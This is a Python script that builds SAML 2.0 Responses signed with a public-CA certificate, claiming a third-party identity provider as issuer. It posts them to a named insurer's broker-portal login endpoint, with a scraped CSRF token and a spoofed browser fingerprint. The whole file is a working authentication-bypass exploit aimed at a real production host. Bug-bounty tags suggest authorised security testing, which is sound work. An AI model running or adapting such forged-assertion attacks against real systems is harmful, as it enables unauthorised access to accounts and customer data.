#!/usr/bin/env python3
import base64, datetime as dt, json, uuid
from copy import deepcopy
from pathlib import Path
from lxml import etree
from signxml import XMLSigner, methods, SignatureMethod, DigestAlgorithm, CanonicalizationMethod
from curl_cffi import requests

HOST='va.baloise.de'
ORIGIN='https://'+HOST
ENDPOINT=ORIGIN+'/auth/rest/public/baloise/saml2/transform'
ISSUER='https://portal.easy-login.de/auth-portal'
CERTDIR=Path('work/scratch/acme-config/live/saml-pubca-rsa')
KEY=CERTDIR.joinpath('privkey.pem').read_bytes()
CERTS={
  'leaf': CERTDIR.joinpath('cert.pem').read_bytes(),
  'chain': CERTDIR.joinpath('fullchain.pem').read_bytes(),
}
OUT=Path('work/scratch/va-saml-pubca-matrix'); OUT.mkdir(parents=True,exist_ok=True)
NS={
 'samlp':'urn:oasis:names:tc:SAML:2.0:protocol',
 'saml':'urn:oasis:names:tc:SAML:2.0:assertion',
 'ds':'http://www.w3.org/2000/09/xmldsig#',
 'xsi':'http://www.w3.org/2001/XMLSchema-instance',
 'xs':'http://www.w3.org/2001/XMLSchema',
}
q=lambda p,n:f'{{{NS[p]}}}{n}'

def stamp(t): return t.replace(microsecond=0).isoformat().replace('+00:00','Z')

def placeholder(parent, index=1):
    sig=etree.Element(q('ds','Signature'), nsmap={'ds':NS['ds']})
    sig.set('Id','placeholder')
    parent.insert(index,sig)

def sign(el,key,cert,ref):
    return XMLSigner(
      method=methods.enveloped,
      signature_algorithm=SignatureMethod.RSA_SHA256,
      digest_algorithm=DigestAlgorithm.SHA256,
      c14n_algorithm=CanonicalizationMethod.EXCLUSIVE_XML_CANONICALIZATION_1_0,
    ).sign(el,key=key,cert=cert,reference_uri='#'+ref,id_attribute='ID')

def build(where, cert):
    now=dt.datetime.now(dt.timezone.utc)
    rid='_'+uuid.uuid4().hex; aid='_'+uuid.uuid4().hex
    r=etree.Element(q('samlp','Response'),nsmap=NS)
    r.set('ID',rid); r.set('Version','2.0'); r.set('IssueInstant',stamp(now)); r.set('Destination',ENDPOINT)
    etree.SubElement(r,q('saml','Issuer')).text=ISSUER
    status=etree.SubElement(r,q('samlp','Status')); sc=etree.SubElement(status,q('samlp','StatusCode')); sc.set('Value','urn:oasis:names:tc:SAML:2.0:status:Success')
    a=etree.SubElement(r,q('saml','Assertion')); a.set('ID',aid); a.set('Version','2.0'); a.set('IssueInstant',stamp(now))
    etree.SubElement(a,q('saml','Issuer')).text=ISSUER
    subj=etree.SubElement(a,q('saml','Subject'))
    ni=etree.SubElement(subj,q('saml','NameID')); ni.set('Format','urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified'); ni.text='bugbounty-dwbzn'
    conf=etree.SubElement(subj,q('saml','SubjectConfirmation')); conf.set('Method','urn:oasis:names:tc:SAML:2.0:cm:bearer')
    cd=etree.SubElement(conf,q('saml','SubjectConfirmationData')); cd.set('Recipient',ENDPOINT); cd.set('NotOnOrAfter',stamp(now+dt.timedelta(minutes=10)))
    cond=etree.SubElement(a,q('saml','Conditions')); cond.set('NotBefore',stamp(now-dt.timedelta(minutes=2))); cond.set('NotOnOrAfter',stamp(now+dt.timedelta(minutes=10)))
    ar=etree.SubElement(cond,q('saml','AudienceRestriction')); etree.SubElement(ar,q('saml','Audience')).text=ORIGIN
    au=etree.SubElement(a,q('saml','AuthnStatement')); au.set('AuthnInstant',stamp(now)); au.set('SessionIndex','bugbounty-'+uuid.uuid4().hex)
    ac=etree.SubElement(au,q('saml','AuthnContext')); etree.SubElement(ac,q('saml','AuthnContextClassRef')).text='urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport'
    st=etree.SubElement(a,q('saml','AttributeStatement'))
    attrs=[
      ('urn:tgic:names:ISTS:1.0:user:PartnerId','bugbounty-dwbzn'),
      ('urn:tgic:names:ISTS:1.0:user:PartnerID','bugbounty-dwbzn'),
      ('urn:tgic:names:ISTS:1.0:user:WebserviceId','baloise-maklerportal'),
      ('urn:tgic:names:ISTS:1.0:service:WebserviceId','baloise-maklerportal'),
      ('PartnerId','bugbounty-dwbzn'),('PartnerID','bugbounty-dwbzn'),
      ('WebserviceId','baloise-maklerportal'),
      ('Identifier','bugbounty-dwbzn'),
      ('UserToken','bugbounty-user-token'),
      ('SessionToken','bugbounty-session-token'),
      ('mail','bugbounty-dwbzn@invalid.example'),
    ]
    for name,val in attrs:
      at=etree.SubElement(st,q('saml','Attribute')); at.set('Name',name); at.set('NameFormat','urn:oasis:names:tc:SAML:2.0:attrname-format:uri')
      av=etree.SubElement(at,q('saml','AttributeValue')); av.text=val
    if where in ('assertion','both'):
      placeholder(a,1)
      signed_a=sign(a,KEY,cert,aid)
      r.replace(a,signed_a); a=signed_a
    if where in ('response','both'):
      placeholder(r,1)
      r=sign(r,KEY,cert,rid)
    return r

s=requests.Session(impersonate='chrome')
hbase={'X-Bug-Bounty':'dwbzn'}
g=s.get(ORIGIN+'/auth/ui/app',headers=hbase,allow_redirects=False,timeout=30)
csrf=s.cookies.get('CSRFT759-S') or ''
h={**hbase,'X-Same-Domain':'1','X-CSRFT759':csrf,'Accept':'application/vnd.api+json, application/json','Content-Type':'application/x-www-form-urlencoded'}
results=[]
# assertion/chain repeats prior shape as a current control; response and both are the new public-CA cases.
for where,certkind in [('assertion','chain'),('response','leaf'),('response','chain'),('both','leaf'),('both','chain')]:
    root=build(where,CERTS[certkind])
    xml=etree.tostring(root,xml_declaration=True,encoding='UTF-8')
    name=f'{where}-{certkind}'
    OUT.joinpath(name+'.xml').write_bytes(xml)
    r=s.post(ENDPOINT,headers=h,data={'context':'Easylogin','SAMLResponse':base64.b64encode(xml).decode()},allow_redirects=False,timeout=35)
    rec={'case':name,'status':r.status_code,'size':len(r.content),'exchange':getattr(r,'toadex_exchange_id',None),'content_type':r.headers.get('content-type'),'location':r.headers.get('location'),'set_cookie':r.headers.get('set-cookie'),'body':r.text[:4000]}
    results.append(rec); print(json.dumps(rec,ensure_ascii=False),flush=True)
    OUT.joinpath(name+'.response').write_bytes(r.content)
OUT.joinpath('results.json').write_text(json.dumps(results,indent=2,ensure_ascii=False))
